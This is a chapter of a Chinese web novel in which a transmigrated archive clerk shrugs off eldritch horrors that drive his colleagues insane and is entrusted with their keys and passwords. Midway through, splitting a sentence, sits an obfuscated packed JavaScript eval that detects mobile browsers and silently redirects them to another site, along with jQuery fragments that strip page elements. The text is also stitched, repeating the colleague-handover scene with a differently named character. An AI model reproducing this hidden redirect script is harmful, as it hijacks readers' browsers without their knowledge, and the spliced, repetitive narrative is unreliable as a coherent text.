齐司眼前一黑。


    上一世界的血腥和火光被系统生硬切断，任务结算的机械提示音还在耳膜里嗡嗡作响：“本轮世界任务完成。积分结算中——传送即将开始。”


    然后就是失重、下坠、耳鸣，像被人从高楼一脚踹下去，又在半空中被一只看不见的手拎住后颈，往另一个方向一扔。


    “——叮。”


    落地的声音很轻，是椅子脚在地砖上被拖动的那种闷响。


    潮气先扑过来，冷得像从海底爬上来的手。空气里混着纸张发霉的酸味、老旧油墨的苦味，还有一丝说不清的腥甜，好像谁在角落里藏了一桶泡了太久的东西。


    齐司眨了下眼。


    头顶是一排吊着的灯泡，玻璃壳发黄，钨丝细得像快断掉的蜘蛛腿。灯光忽明忽暗，闪烁时，天花板上的水渍斑斑点点，像一只只摊开的灰白眼睛，干裂的水痕沿着缝隙蜿蜒下来，停在墙角一排铁皮档案柜上。


    档案室很长，长到尽头被阴影吞掉，看不清墙。两侧一列列铁柜挤得密不透风，柜门漆皮起泡脱落，露出里面被潮气咬花的金属。每当灯泡闪一下，柜门缝里就像有影子在往里缩，纸张轻微摩擦的沙沙声从不同方向传来，又被高高的穹顶弹回，变成一串不合逻辑的回声——像有人在远处低语，却永远听不清内容。


    脚下的地砖冰凉，缝隙里积着没干透的水，踩上去会发出极轻的“啧”声。角落里有一滩水渍，形状古怪，边缘拖出细长的触须状纹路，顺着地面爬到墙上，像是某种东西曾经在这里趴伏过，又被人粗暴地拖走，只剩下一圈暗色轮廓。


    几张办公桌散落在档案柜之间，木头被潮气泡得发软，桌角裂开，裂缝里长出细白的霉菌，像一排排细小的牙。


    最近的一张桌子后面，有人正弓着背坐着。那是齐司在这个世界的工位。


    他低头看了眼自己身上的证件卡——“联邦调查局·后勤档案科·文职助理·齐司”。岗位职责简单明了：整理案卷、盖章、递表。


    很好，纯划水岗位。


    他抬头，余光扫过不远处的同事们。


    离门最近的那位，眼圈青得像被人一拳砸过，眼白里布满红血丝，手指不停抖动，在一张表格的空白处密密麻麻写着什么。那不是字，更像是某种扭曲的符号，一圈圈交叠，线条细长，像是从某种生物身上剥下来的筋被硬生生拉直，强行按在纸上。


    另一个同事靠在椅背上，眼睛睁着却没焦点，嘴里含糊地念叨：“它们在看……在看……别看回去……别——”声音忽高忽低，像被水泡过的录音带。


    更远处，有人捧着一摞档案，指节发白，嘴唇干裂，眼下青黑得骇人。那人抬头看了齐司一眼，眼神里闪过一瞬复杂的东西——像是求救，又像是把什么沉重的东西往他身上推。


    齐司没接。


    他只是走到自己的桌子前，椅子往后一拉，坐下，顺手把桌上的一摞文件往旁边一推，给自己空出一块刚好能趴着打盹的地方。


    灯泡又闪了一下。


    他随手拉开桌边的文件抽屉，准备把证件卡丢进去。抽屉里塞满了卷宗，纸张边缘被潮气泡得起毛，颜色发灰。最底下的那一叠纸微微鼓起，像下面有什么东西在缓慢蠕动，鼓起、塌下，再鼓起，带着黏腻的节奏。


    纸堆间隙里，有一条细长的暗影轻轻抽动了一下，像一截没长眼睛的尾巴。


    齐司看了一眼。


    灯光正好又闪了两下，影子被拉长、压扁，变形得像是灯丝在抽风。他脑子里很自然地给出了结论：老楼电路问题，灯光晃得眼花，看错了。


    他把证件卡随手一丢，啪的一声砸在那一叠鼓起的卷宗上，抽屉一推，关上。


    抽屉里传来一声极轻的“咯吱”，像什么软的东西被压扁，又慢慢恢复原状。


    他没听见，或者说，听见了也没往那方面想。


    齐司往椅背上一靠，伸手把桌上的公章往旁边一挪，挪到刚好可以当手托的位置，另一只手随意翻开最上面的一份案卷，目光扫过上面密密麻麻的记录、涂抹掉的名字、被墨水糊住的照片。


    纸张上有一块水渍，形状像一只张开的手掌，中间有几道裂开的纹路，勉强能看出一个诡异的笑脸轮廓。


    他眼皮一抬一落，略过。


    脑子里自动把那些不舒服的细节打了马赛克，只留下“今天要坐满八小时”的简单结论。


    档案室深处传来一阵不合时宜的笑声，紧接着是纸张被撕裂的尖锐声和椅子倒地的砰响。有人压抑着哭腔喊了一句什么，声音被高高的穹顶弹回来，变形成一串模糊的低语，像从水底传上来的。


    齐司把那一页往后一翻，手指按在空白处，心里只剩一个念头：先摸鱼，等下再看要不要盖章。


    他把椅背往后一仰，屁股往前滑了两厘米，找到一个可以半躺的角度，手里那份案卷顺势搭在肚子上。


    笑声和哭腔在穹顶下绕了两圈，渐渐变成一种黏糊糊的嗡鸣，像老旧空调的压缩机在勉强运转。纸张撕裂的声音断断续续，夹着指甲抓挠木板的刮擦，听起来像有人在墙里面挖东西。


    他抬眼看了一下时间。


    离下班还有四个小时零三十七分钟。


    “……齐、齐司？”


    声音从书架缝隙里钻出来，带着一股被灰尘呛到的干涩。紧接着，一个人影踉跄着撞到他这排书架上，震得一整列档案盒“哗啦啦”抖了一下。


    是对面组的记录员，姓周，三十多岁，眼睛红得像熬了三天夜，瞳孔却缩成针尖大小。他的衬衫前襟被墨水和不明液体糊了一片，袖口上有几道指甲抓出的血痕。


    周记录员扶着书架，呼吸急促，喉咙里发出“咯咯”的声音，像被什么东西堵住了一样。他努力咽了几口唾沫，才把话挤出来：“你、你在这儿……太好了……”


    齐司“嗯”了一声，算是回应，手指还搭在那页案卷的空白处，慢悠悠往下一滑，像是在翻邮件。


    “我、我看到了……”周记录员的视线越过他肩膀，盯着他面前那一摞案卷，眼白里爬满了细密的血丝，“它们在纸缝里……在字下面……在照片后面……它们在看我……”


    他声音越来越尖，最后几个字几乎是挤着气音喊出来的，指节发白地抓住档案盒的边缘，指甲咯吱咯吱地刮着纸板。


    齐司顺手把案卷往里推了两厘米，免得被对方抓到。


    “你能听见吗？”周记录员忽然凑近，眼睛死死盯着齐司的脸，鼻尖几乎要碰到他，“它们在说话，在耳朵后面，在牙缝里，在——”


    他的话戛然而止。


    像是被什么无形的东西掐住了喉咙。


    档案室的空气忽然一静，远处那些撕纸、椅子倒地的声音像被人按了暂停键，只剩下穹顶上某个角落滴水的“滴答”声，极其清晰地落在每一秒上。


    “——在说什么？”齐司问了一句，语气平平，像是例行公事地接话。


    周记录员的嘴唇开合了几下，发不出声音。他的耳朵里慢慢渗出一缕黑色的液体，顺着耳廓往下爬，滴在地上，溅起一朵极小的墨色花。


    那液体落地的瞬间，空气里似乎有一阵极短的波动，像是某种频率被调高又迅速调低。


    齐司的脑子里“嗡”了一下。


    下一秒，那股“嗡”的源头被自动归类为“环境噪音”，和空调、打印机、楼上拖椅子的声音一起被打了静音。


    他只听见自己的心跳，平稳、缓慢，和墙上时钟的秒针声重叠在一起。


    “它们在……在叫我的名字……”周记录员终于挤出一点声音，喉结剧烈滚动，“在说‘看这边’、‘看这边’……我一看，它们就往里钻……钻到眼睛后面……”


    他抬手去抠自己的眼眶，指甲在眼皮上刮出红痕。


    齐司往旁边挪了一点，给他腾出抠眼睛的空间，顺手把桌上的印章往里推了推，免得被血溅到。


    “你、你不听见吗？”周记录员忽然又抬头，眼神里带着一种近乎绝望的渴求，“它们在你背后，在你头顶，在你脚下……在每一页纸里……你、你怎么还能坐着？”


    齐司想了想：“习惯了。”


    周记录员愣了一下，像是被这两个字打断了什么崩溃的节奏，整个人呆了两秒。


    那两秒里，他耳朵里流出的黑色液体忽然停了一瞬，随后像被什么力量猛地一拽，倒流回去，硬生生缩回耳道里。


    空气里某种看不见的触须在这一瞬间抽搐了一下。


    那触须原本正沿着周记录员的肩膀往齐司这边探，像一条细长的影子，在光线照不到的缝隙里蠕动。它伸到离齐司肩膀还有半寸的地方，忽然像撞上了一堵透明的墙。


    没有反弹，没有破碎，只是——滑过去了。


    像水流遇到一块完全不被感知的石头，自动绕开。


    那条影子触须在空中拐了个极不自然的弯，硬生生扭向一旁的书架，钻进一本半抽出来的案卷缝隙里。


    书架轻微地抖了一下，某个档案盒自己往外弹了两厘米，露出里面一叠被黑墨浸透的手稿。


    齐司没看见那触须，只看见档案盒往外弹了一点。


    他伸手，把那盒子推回去，顺手抽出了最上面那叠手稿。


    纸张摸上去有点潮，边缘发硬，墨水在上面结成一层薄薄的壳，指腹划过时会发出细微的“咔嚓”声。


    手稿上的字不是正常的字母，而是一串串扭曲的线条，像是有人用指甲在湿泥上乱划，线条之间夹着一些不成形的圆圈和眼睛状的符号。


    有几处墨迹特别浓，黑得发亮，像还没干透。


    他目光从上到下扫了一遍。


    脑子里自动弹出一句总结：内容冗长，结构混乱，无关本职工作。


    那些线条在他视网膜上轻微蠕动了一下，试图拼成某种更深层的图案，像是要从二维纸面钻进三维空间，再往更深的维度滑。


    刚蠕动到一半，他的大脑某个模块“啪”地关上了门。


    那一整页在他眼里变成了“已读未回复”的普通文档，和早上领导群发的“本周工作要点”处于同一优先级。


    他翻到下一页。


    周记录员的呼吸声在旁边断断续续，像坏掉的风箱。他的眼珠子在眼眶里乱转，似乎在追逐什么只有他自己能看见的东西，手指在空中抓来抓去，指尖划过齐司的肩膀，却像抓空了一团雾。


    “你、你在看什么？”他哑着嗓子问。


    “文件。”齐司说。


    “那、那上面……”周记录员的声音忽然变得极轻，像是怕被什么听见，“它在动，对不对？它在、在往外爬……”


    齐司“哦”了一声，翻页的动作没停：“没注意。”


    他确实没注意。


    那一页纸上的墨迹在某个角度下确实像是有一只眼睛缓慢睁开，瞳孔里映出一片翻涌的深海，海水里漂浮着无数断裂的肢体和城市的残骸。那只眼睛试图和他的视线对上，一旦对上，就会顺着视线往里钻，钻进大脑的缝隙，扎根，发芽，长出一整片疯癫的森林。


    它刚抬起眼皮，就对上了一片——空白。


    不是“无视”的那种空白，而是“接口不存在”的那种空白。


    就像一串复杂的信号试图接入一台没有安装对应解码器的机器，连“错误”提示都弹不出来。


    那只眼睛愣了一下。


    深海里的浪花停在半空，断肢和城市残骸悬在那里，像被人按了暂停键。


    下一秒，那只眼睛开始疯狂往外翻涌，试图加大信号强度，墨迹在纸上鼓起一个个小小的泡，泡里隐约有无数嘴巴在开合，发出极细微的低语。


    那些低语绕过纸张，绕过空气，像一群无形的虫子，直奔齐司的耳朵。


    刚靠近耳廓，就被一道看不见的“过滤网”拦住。


    过滤网后面，是一片干净得近乎空旷的神经通路。


    所有带有“非必要信息”的信号在那道网前自动被拦截、压缩、打包，最后被统一丢进某个标记为“垃圾”的区域。


    那区域里堆满了各种东西：凌晨三点的莫名心悸、梦里看见的模糊影子、走夜路时总觉得有人跟在后面的错觉、看恐怖片时后颈发凉的感觉……


    它们都被整齐地码在一边，上面盖着一块厚厚的“无视”布。


    低语虫子们撞上那块布，发出一串极短的“滋滋”声，像电流短路。


    然后，它们被迫改变路径。


    它们绕过齐司的耳朵，沿着空气的缝隙滑向旁边那个人——周记录员。


    周记录员的耳朵里已经塞满了类似的东西，低语、影像、触须、眼睛，全都挤在一起，像一锅沸腾的黑色粥。


    新的低语一涌进去，那锅粥彻底溢出来。


    他忽然发出一声撕裂喉咙的惨叫，整个人往后仰，后脑勺“咚”地撞在书架上，震得上面几本厚档案掉下来，砸在他肩膀和胸口。


    “别砸到文件。”齐司条件反射地伸手，接住其中一本，顺手拍了拍封面上沾到的灰。


    周记录员的眼睛翻白，嘴里开始往外吐字母、符号、断断续续的单词：“深渊……门……祂……在……看……”


    他吐出来的不是完整的句子，而是一段段被撕碎的咒语，夹着几个难以发音的音节，舌头在口腔里打结，发出“咔嗒咔嗒”的声响。


    那些音节一落地，空气里就有一阵轻微的震动，像水面被丢进一颗颗小石子，荡开一圈圈涟漪。


    涟漪扩散到齐司这边，刚碰到他，就像撞上了一块完全不导波的材料，瞬间被吸收、消散。


    反而是另一边的书架被那涟漪扫到，最上层一本被封起来的古卷“啪嗒”一声自己掉下来，落在齐司脚边。


    古卷的封皮是某种已经绝迹的动物皮，表面干裂，缝隙里嵌着黑色的粉末，边缘用红线缝合，线头上还挂着一颗已经褪色的玻璃珠。


    玻璃珠里有一只极小的眼睛，正对着他。


    眼睛里的瞳孔微微一缩，像是认出了什么。


    “……你……”那只眼睛里传出一个极细的声音，像是从很远很远的地方飘来，“原来……在这里……”


    声音刚飘出半个音节，就被他大脑里的“垃圾过滤器”当成“背景噪音”处理掉了。


    那只眼睛愣在玻璃珠里，瞳孔里映出的不是深渊、不是星空、不是扭曲的维度，而是一张毫无波澜的人类脸——齐司低头看了一眼，确认这东西挡着自己脚，顺手把古卷踢到桌子底下。


    玻璃珠在地上滚了两圈，眼睛被迫转向别处。


    它看见了周记录员。


    那只眼睛里的瞳孔猛地放大，像是看见了一个已经被啃得只剩骨头的玩具，兴奋地颤抖起来。


    “……勉强……也行……”那个极细的声音改变了方向。


    古卷底下的阴影里，有什么东西慢慢伸出来，像是一根根细长的手指，带着黏腻的光泽，悄无声息地缠上周记录员的脚踝。


    周记录员的惨叫声忽然断成一截，喉咙里发出“咕噜咕噜”的气泡声，整个人被那股看不见的力量一点点往阴影里拖。


    他的手在地上乱抓，指甲在石板地上刮出一串刺耳的声音，指尖磨破，血混着灰尘糊成一团。


    “齐、齐司！”他嘶哑地喊，声音里带着破碎的希望，“帮、帮我……你、你不是也在看吗？你、你肯定知道……怎么关上……怎么关上它们……”


    齐司低头看了看他，又看了看时间。


    离下班还有四个小时零二十三分钟。


    “我只是负责整理。”他如实回答。


    周记录员的眼神里闪过一丝彻底的绝望，随即被某种疯狂的光取代。他忽然从地上挣扎着爬了两步，扑到齐司腿边，一把抓住他的裤脚。


    “那、那你帮我保管！”他几乎是吼出来的，声音嘶哑得像破布被撕开，“你、你最稳……你、你每天都坐在这儿……你、你肯定能撑得住……你、你帮我、帮我守着它们……别、别让它们跑出来……”


    他一边说，一边从怀里、袖子里、裤腰里掏东西。


    一串串钥匙、几张写满密密麻麻密码的纸条、一只磨得发亮的U盘、一枚刻着奇怪符号的铜质徽章、一小本用黑墨手写的笔记本，还有一叠被折得皱巴巴的照片，全都被他往齐司怀里塞。


    东西堆成一小堆，压在案卷上，把原本平整的纸压出几道折痕。


    “密码、都在这儿……”周记录员喘着气，手指在那几张纸条上乱点，“地下三层的门、冷库的锁、祭祀间的柜子、还有、还有那台终端……只有你、你能看……”


    他说到“看”的时候，声音忽然断了一下，像是被什么东西扯住了舌头。


    他眼睛死死盯着齐司的脸，瞳孔里映出一片——空白。


    那种空白不是“什么都没有”的空，而是“所有东西都被挡在外面”的空。


    就像一扇门后面明明有无数东西在挤，却被一层看不见的膜隔开，门板上连一个猫眼都没有。


    周记录员的嘴唇颤了颤，忽然笑了一下。


    那笑容扭曲、干裂，却带着一种近乎虔诚的疯狂：“对……对……你、你不是人……你、你肯定不是人……你、你是祂们那边的……你、你才是……真正的保管者……”


    他的话越说越快，越说越轻，最后几个字几乎是贴在地板上吐出来的。


    阴影里的那几根“手指”已经缠上他的腰和胸口，往下一拽，他整个人被拖进桌子底下，身体在阴影边缘被拉得细长，像是一张被拉扯过度的橡皮图。


    骨头发出一阵细微的“咔嚓咔嚓”声。


    齐司往后挪了挪脚，免得被带进去，顺手把那堆钥匙和纸条往桌子里推了推，堆成一小摞。


    桌子底下传来最后一声极低的“咯吱”，像是某扇很久没开过的门被关上了。


    然后，一切归于平静。


    远处又响起纸张翻动的声音，像是什么都没发生过。


    齐司低头，看了看怀里的那堆东西。


    钥匙串上挂着十几把不同形状的钥匙，有几把被磨得发亮，显然经常使用。U盘外壳上贴着一张已经卷边的标签，上面用红笔写着“勿插内网”。那枚铜质徽章背面刻着一行极小的字，肉眼几乎看不清。


    他随手拿起那本黑墨笔记本，翻开。


    第一页是周记录员的字，工整、细致，写着日期、地点、参与人员名单。往后翻，字迹开始变形，行距越来越乱，夹杂着一些看不懂的符号和图案。


    有一页上画着一个巨大的圆，圆里套着七个小圆，每个小圆里都是一只眼睛。眼睛的瞳孔方向各不相同，有的看上，有的看下，有的看左，有的看右，还有一只是斜着看，像是在盯着某个看不见的角落。


    那一页的墨水特别浓，纸张被浸得发软，指腹一压，会渗出一点黑色的水。


    那水里有极细小的光点在闪烁，像是缩小到极致的星空。


    那些光点试图顺着他的指纹往里钻。


    刚钻到皮肤表层，就被他身体某个自动防御机制当成“静电”处理掉了。


    指尖轻微一麻，随即恢复正常。


    他脑子里弹出一个念头：这人字写得越来越丑。


    翻到最后几页，字迹已经完全看不出原来的样子，像是有人拿着笔在纸上疯狂戳，墨水渗成一整片黑，黑里隐约有一些白色的缝隙，拼成“门”“眼”“深处”“回归”之类的字样。


    他看了两眼，脑子里自动总结成四个字：精神状态不佳。


    笔记本最后一页夹着一张折叠的纸。


    纸很薄，几乎透明，上面用极细的笔画着一张地图。


    不是现实中的地图，而是一层层叠加的平面，像是有人把不同楼层、不同空间、不同维度的结构硬生生压在一张纸上。


    线条交错，楼梯在半空中拐弯，门开在天花板上，走廊在墙里延伸，某些地方标着红圈和箭头，旁边写着“裂缝”“入口”“祂的视线”。


    纸张边缘有几处被烧焦的痕迹，说明这东西本来不该存在太久。


    他目光在那张图上扫了一圈。


    大脑自动屏蔽掉“维度”“裂缝”“视线”这些标签，只留下几个实用信息：地下三层有冷库，地下五层有一间上锁的房间，顶层有个不对外开放的穹顶。


    他把那张纸折回去，塞回笔记本里，合上。


    桌子另一边，档案室的门被人推开，门轴发出一声长长的“吱呀”。


    脚步声急促地靠近。


    “齐司！”一个带着喘息的声音响起，是研究部的副主任，姓林，平时总是笑眯眯的，此刻脸色却苍白，额头上全是汗，“你、你在这儿啊……”


    他话说到一半，目光扫过地上那片被拖拽过的痕迹，扫过桌子底下那一块比周围更深一点的阴影，眼角抽了一下。


    然后，他像是自动忽略了这些，把视线迅速移开，落在齐司面前那一堆钥匙、纸条和徽章上。


    “这些是……”他声音发紧。


    “周组的。”齐司说，“他刚才托付给我。”


    林副主任沉默了两秒，喉结动了动。


    “他、他人呢？”


    “走了。”齐司说。


    林副主任的眼皮抖了一下，像是很想问“去哪儿了”，又像是已经知道答案，不敢问。


    他深吸一口气，努力让自己的声音听起来正常一点：“那、那这些东西……你、你先帮忙保管一下。上面……上面刚刚开了紧急会议，决定把所有涉及‘深层接触’的权限集中管理。”


    他说着，从怀里掏出一张红色的卡片，递过来。


    卡片边缘镶着一圈银色的线，正面印着调查局的标志，下面是一行字：特别接触许可。


    “从现在起，你是档案室的‘一级接触员’。”林副主任说，眼神复杂，“所有高危文本、遗物、影像、录音……都先由你这边过一遍，再决定是否分发给其他组。”


    齐司接过卡片，看了一眼。


    卡片背面写着一串编号和一行小字：持卡人须通过长期稳定接触评估。


    “为什么给我？”他问。


    林副主任看着他，眼神里带着一种说不清的敬畏和依赖：“因为……你最稳。”


    他顿了顿，压低声音：“这一个月里，接触过‘深层文本’的同事，已经有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939307|192918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    七个出问题了。要么失踪，要么住院，要么……你也看见了。”


    他说着，目光不自觉地飘向桌子底下那块阴影，又迅速收回。


    “只有你……”他盯着齐司的脸，“每天坐在这儿，看那么多东西，还能正常上下班。”


    “正常上下班”这四个字，他咬得很重，像是在抓住最后一根稻草。


    齐司想了想：“我只是坐着。”


    “这就够了。”林副主任说，“你、你继续坐着就好。”


    他像是怕自己再多看一眼就会被什么东西拖进去，匆匆退了两步，又停下，回头补充了一句：“上面、上面还会给你开通更高的系统权限。以后有任何……不对劲的东西，先发到你这边。”


    说完，他几乎是逃一样地离开了档案室。


    门“砰”地关上，回声在穹顶下绕了一圈，最后变成一串模糊的低语。


    那些低语试图钻进齐司耳朵，被他大脑的过滤网一拦，自动归类为“环境噪音”。


    他低头，看了看手里的红色卡片，又看了看桌上的钥匙、纸条、徽章、U盘、笔记本。


    桌面上堆满了各种“高危物品”，每一件都在极微弱地震动，像是被关在笼子里的小动物，试图探出爪子。


    它们的震动频率各不相同，有的像心跳，有的像呼吸，有的像某种古老语言的节奏。


    这些频率混在一起，理论上会形成一片足以把正常人脑子搅成浆的噪声。


    在他这里，全被压成一条直线。


    他把红卡塞进工牌后面的透明夹层里，顺手把那堆东西往桌角一推，腾出中间一块空地，把刚才那份案卷重新摊开。


    档案室深处，又传来一阵不合时宜的笑声。


    这次笑声里夹着哭腔、咒骂、祈祷，还有某种极低的吟唱。


    那些声音互相叠加，像是一群人在不同频率上同时说话，任何一个正常人听见，脑子里都会自动拼出一些不该存在的词。


    齐司听见的，是一串模糊的“嗡嗡嗡”。


    他眼皮一抬一落，继续翻页。


    离下班，还有四个小时零一十八分钟。


    档案室的灯在这时候闪了一下。


    不是那种老旧日光灯的间歇性抽搐，而是整条灯带像被什么巨大阴影从外面掠过，光线被压扁成一条细线，又慢慢弹回原状。


    墙上的时钟停了半秒，又追上时间。


    “嗡——”


    齐司抬眼，看了一下钟。


    指针正常地指在两点四十二分。


    他把视线移回案卷。


    纸张翻动的声音在档案室里显得格外清晰，像是某种仪式里单调的节拍。


    深处的笑声突然断了。


    取而代之的是一阵急促的脚步声，从远到近，鞋底在水泥地上摩擦，带着一点拖沓和失衡，像是某个人的重心已经不太稳定。


    脚步在他这排书架前停下。


    “齐、齐司？”


    声音发干，嗓子像被砂纸磨过，尾音发抖。


    他抬头。


    是三组的周临，头发乱得像刚从水里捞出来，眼白里布满血丝，瞳孔缩得极小，像是被强光照久了。


    衬衫扣子扣错了两颗，袖口上有一圈已经干掉的黑色水渍，边缘泛着诡异的暗绿。


    “有事？”齐司问。


    周临的喉结滚了两下，像是要把什么东西咽回去。


    他用力眨了眨眼，视线在齐司脸上停了两秒，又迅速移开，像是直视太久会被什么东西反噬。


    “你、你现在有空吗？”周临声音压得很低，语速却快得有些失控，“我、我可能……要调离了。”


    齐司“哦”了一声。


    “我想把东西交给你。”周临说。


    他像是怕被什么看见，整个人半弯着腰，从怀里、口袋里、腰间一个个掏东西出来。


    一本被翻得起了毛边的黑皮笔记本，封皮上沾着干涸的咖啡渍和不知名的灰白色粉末。


    一串旧钥匙，钥匙环上挂着一块磨得发亮的金属牌，刻着一串已经被磨掉一半的编号。


    一只U盘，外壳是普通的黑塑料，接口处却有一圈细得几乎看不见的银色刻痕，像是某种符号被刻在了金属里。


    还有一张折得很整齐的照片，纸边被反复摩挲得发软。


    周临把这些东西一股脑推到齐司面前，手指在桌面上抖得厉害，指节因为用力而发白。


    “密码都在这里。”他从笔记本最后一页撕下一条纸条，字写得极小极密，几乎把纸面填满，“所有的门禁、保险柜、加密文件，还有……还有‘深井’的访问口令。”


    “深井？”齐司问。


    “你、你别问。”周临猛地抬头，眼神里带着一种近乎乞求的恐惧，“你就、就收着。你是唯一一个、一个还能——”


    他的话戛然而止。


    因为在他视线的角度，齐司身后那一整面书架，书脊的排列方式在这一刻像是被什么无形的手轻轻拨动了一下。


    原本规整的编号标签，在他眼里突然像是活了过来，白色的标签一块块翻转，露出背面密密麻麻的细线。


    那些线条在空气里延伸、交织，像是一张巨大的蛛网，从书架缝隙里爬出来，沿着地面、墙壁、天花板缓慢蔓延。


    每一条线的末端，都挂着一只眼睛。


    没有眼眶，没有血肉，只是一个个湿漉漉的眼球，被透明的细丝吊着，轻轻摇晃。


    它们齐刷刷地转动，盯向周临。


    周临的呼吸猛地一滞。


    他喉咙里发出一声几乎听不见的呜咽，膝盖一软，整个人往后退了一步，后背撞上对面的书架，发出“咚”的一声闷响。


    在齐司的视角里，书架安静地立在那里，标签还是那一排排编号，什么都没动。


    “你脸色不太好。”齐司说。


    周临嘴唇发抖，像是想说什么，却只发出几声破碎的气音。


    他努力把视线从那些“眼睛”上挪开，死死盯着齐司的脸。


    那一瞬间，他的瞳孔突然放大了一点。


    因为他发现——那些沿着空间爬行的线，那些挂着眼球的丝，在接近齐司所在的那一块区域时，像是撞上了什么看不见的屏障。


    它们没有绕开，也没有试图渗透进去，而是直接在那一片空白前停住，像是被剪断了一样，末端干净利落地悬在半空。


    那一小块区域，干净得近乎刺眼。


    没有线，没有眼睛，没有任何附着物。


    像是空间本身缺了一块。


    那一块空白，正好把齐司整个人包在里面。


    周临的喉咙里发出一声沙哑的笑，又像是哭。


    “果然……”他喃喃，“你、你是……空的……”


    他的话音还没落，耳边突然炸开一阵低语。


    不是从外面传来的，而是直接在他脑子里响起。


    那声音像是无数张嘴贴在他的鼓膜上，同时说话，吐出的每一个音节都带着湿热的触感。


    【看见了。】


    【那一块缺失。】


    【那不是人。】


    【那是……】


    声音在这里卡了一下，像是在搜索一个足够贴切的词。


    【是我们也无法命名的空洞。】


    【是更早之前的……】


    【错误。】


    低语在周临脑海里盘旋，像是要把他的意识一点点剥开。


    他感觉自己的眼球在发痒，眼眶里有什么东西在往外拱。


    他下意识伸手去按眼角，指尖触到的却是一片冰凉的液体。


    他手指一抖，抹下来一看——掌心里是一团浓稠的黑色粘液，里面漂浮着几根细小的白色纤维，像是被溶解了一半的神经末梢。


    “别、别看……”他几乎是嘶吼出来，“别看我！”


    齐司被他这声吼弄得耳朵有点疼，下意识往后靠了靠。


    “你先去医务室。”他说，“东西我收着。”


    周临的呼吸已经完全乱了，胸口起伏得厉害，像是随时会断气。


    他却死死抓住桌沿，逼迫自己把那张写满密码的纸条往齐司那边推得更近一点。


    “记、记住……最下面那一行。”他声音低得几乎听不见，“如果、如果他们……找你，就用那一行……拒绝。”


    纸条最底下那一行，比其他密码更小，几乎要挤出纸边。


    上面写着一串看起来像乱码的字符，夹杂着几个奇怪的符号，像是键盘上不存在的按键被硬生生敲出来。


    齐司扫了一眼。


    他的大脑自动把那串字符归类为“复杂但无用的工作信息”，和他每天处理的各种内部编码、项目编号没有区别。


    没有任何多余的联想，也没有任何“这东西不该存在”的本能反应。


    那一行字符在他脑子里被压缩成一个标签：“周临_特别备注”。


    周临盯着他的脸，像是在确认什么。


    低语在他脑子里还在继续。


    【他看了。】


    【他没有反应。】


    【他不理解。】


    【他无法被写入。】


    【他是空白的页。】


    【我们无法在上面留下痕迹。】


    【错误。】


    【错误。】


    【错误。】


    那些声音开始变得烦躁，语调从低沉的呢喃变成了刺耳的尖叫，像是某种程序在遇到无法处理的输入时不断弹出报错窗口。


    周临突然觉得脑子里一阵清明。


    那种清明不是“恢复正常”，而更像是——原本紧紧缠绕在他意识上的那些线，被某种外力粗暴地扯断了。


    低语在下一秒，全部消失。


    留下的是一片死寂。


    寂静得连他自己的心跳声都听不见。


    周临愣了一下，慢慢直起身。


    他低头看了看自己手上的黑色粘液，那些东西已经开始变得干燥，表面裂出一条条细小的缝隙，像是被晒干的泥。


    他把手在裤子上随便一擦，抬头看向齐司。


    “谢谢。”他突然说。


    语气出奇地平静。


    齐司“嗯”了一声，把那堆东西往桌角又推了推，腾出更多空位给案卷。


    “我会写一份正式移交申请。”周临说，“上面……应该会同意把所有相关权限转到你名下。”


    “随便。”齐司说。


    他翻到案卷的下一页，开始看一份关于“海岸线异常后退”的观测记录。


    周临站在原地，又看了他几秒。


    那一小块“空白”的感觉，在他视线里依旧清晰——所有他刚才看到的线、眼睛、扭曲的空间，在接近齐司时，都会自动绕开，或者干脆在边缘断裂。


    像是整个世界在他的轮廓周围留出了一圈安全距离。


    “他们会以为你是……最稳定的那一个。”周临说，“你要小心。”


    他自己也不知道这句“你要小心”到底是在提醒什么。


    说完，他转身，脚步比来时稳了许多，慢慢走向档案室出口。